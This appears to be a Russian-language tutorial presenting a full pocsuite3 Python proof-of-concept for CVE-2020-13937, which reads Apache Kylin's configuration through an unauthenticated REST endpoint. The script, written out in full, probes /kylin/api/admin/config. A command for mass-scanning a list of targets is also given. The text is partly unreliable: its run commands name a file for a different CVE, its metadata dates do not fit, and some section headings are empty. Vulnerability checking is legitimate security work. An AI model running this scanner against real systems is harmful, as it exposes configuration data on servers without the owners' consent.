
Apache Kylin имеет restful api, который раскрывает информацию о конфигурации без какой-либо аутентификации.
Apache Kylin имеет restful API, который предоставляет информацию о конфигурации без какой-либо аутентификации.
Сравнение с уязвимостью

Сравнение без уязвимости

Написание PoC


Проверка правильного URL: pocsuite -r CVE-2022-26134.py -u url

Проверка неверного URL: pocsuite -r CVE-2022-26134.py -u url

Массовое сканирование: pocsuite -r CVE-2022-26134.py -u url.txt

from collections import OrderedDict
from pocsuite3.api import (
Output,
POCBase,
POC_CATEGORY,
register_poc,
requests,
VUL_TYPE,
get_listener_ip,
get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
OptString,
OptDict,
OptIP,
OptPort,
OptBool,
OptInteger,
OptFloat,
OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD
# Это просто импорт модулей, некоторые используются, некоторые серые — это те, которые не используются из модуля
class DemoPOC(POCBase):
vulID = "1571" # ssvid ID, если вы одновременно отправляете уязвимость и PoC, укажите 0
version = "1" # По умолчанию 1
author = "kailing0220" # Имя автора PoC
vulDate = "2014-10-16" # Дата публикации уязвимости, если неизвестно, укажите сегодня
createDate = "2014-10-16" # Дата написания PoC
updateDate = "2014-10-16" # Дата обновления PoC, по умолчанию совпадает с датой создания
references = ["http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Kylin%20config%20%E6%9C%AA%E6%8E%88%E6%9D%83%E9%85%8D%E7%BD%AE%E6%B3%84%E9%9C%B2%20CVE-2020-13937.html"] # Источники уязвимости, для 0day не пишите
name = "CVE-2020-13937 PoC" # Название PoC
appPowerLink = "http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Kylin%20config%20%E6%9C%AA%E6%8E%88%E6%9D%83%E9%85%8D%E7%BD%AE%E6%B3%84%E9%9C%B2%20CVE-2020-13937.html" # Адрес страницы производителя уязвимости
appName = "CVE-2020-13937" # Название уязвимого приложения
appVersion = "all" # Затрагиваемые версии
vulType = VUL_TYPE.UNAUTHORIZED_ACCESS # Тип уязвимости, см. таблицу типов
category = POC_CATEGORY.EXPLOITS.WEBAPP
samples = [] # Примеры тестов, т.е. сайты, успешно протестированные с помощью PoC
install_requires = [] # Зависимости от сторонних модулей PoC, по возможности не используйте сторонние модули, при необходимости см. "Инструкцию по зависимостям сторонних модулей PoC"
desc = """
Apache Kylin имеет restful API, который предоставляет информацию о конфигурации без какой-либо аутентификации.
""" # Краткое описание уязвимости
pocDesc = """
описание использования poc
""" # Описание использования PoC
# Определение различных переменных, описание PoC
def _check(self):
# Код проверки уязвимости
headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
result = []
# Обработка исключений, на случай если сайт недоступен, запрос не проходит, код выдаёт ошибку
try:
url = self.url.strip() + "/kylin/api/admin/config" # self.url — это значение параметра -u, который вы указали
res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=9)
# Определяем, существует ли уязвимость
if res.status_code == 200 and 'config' in res.text:
result.append(url)
except Exception as e:
print(e)
# Пара с try...except, в итоге код выполнится в любом случае, независимо от ошибок
finally:
return result
def _verify(self):
# Режим проверки, вызывает код проверки
result = {}
res = self._check() # res — это список результатов
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['Info'] = self.name
result['VerifyInfo']['vul_url'] = self.url
result['VerifyInfo']['vul_detail'] = self.desc
return self.parse_verify(result)
def _attack(self):
# Режим атаки, просто вызывает режим проверки
return self._verify()
def parse_verify(self, result):
# Разбор проверки, вывод
output = Output(self)
# Определяем наличие уязвимости по логическому значению result
if result:
output.success(result)
else:
output.fail('Target is not vulnerable')
return output
def other_fuc():
pass
def other_utils_func():
pass
# Регистрация класса DemoPOC
register_poc(DemoPOC)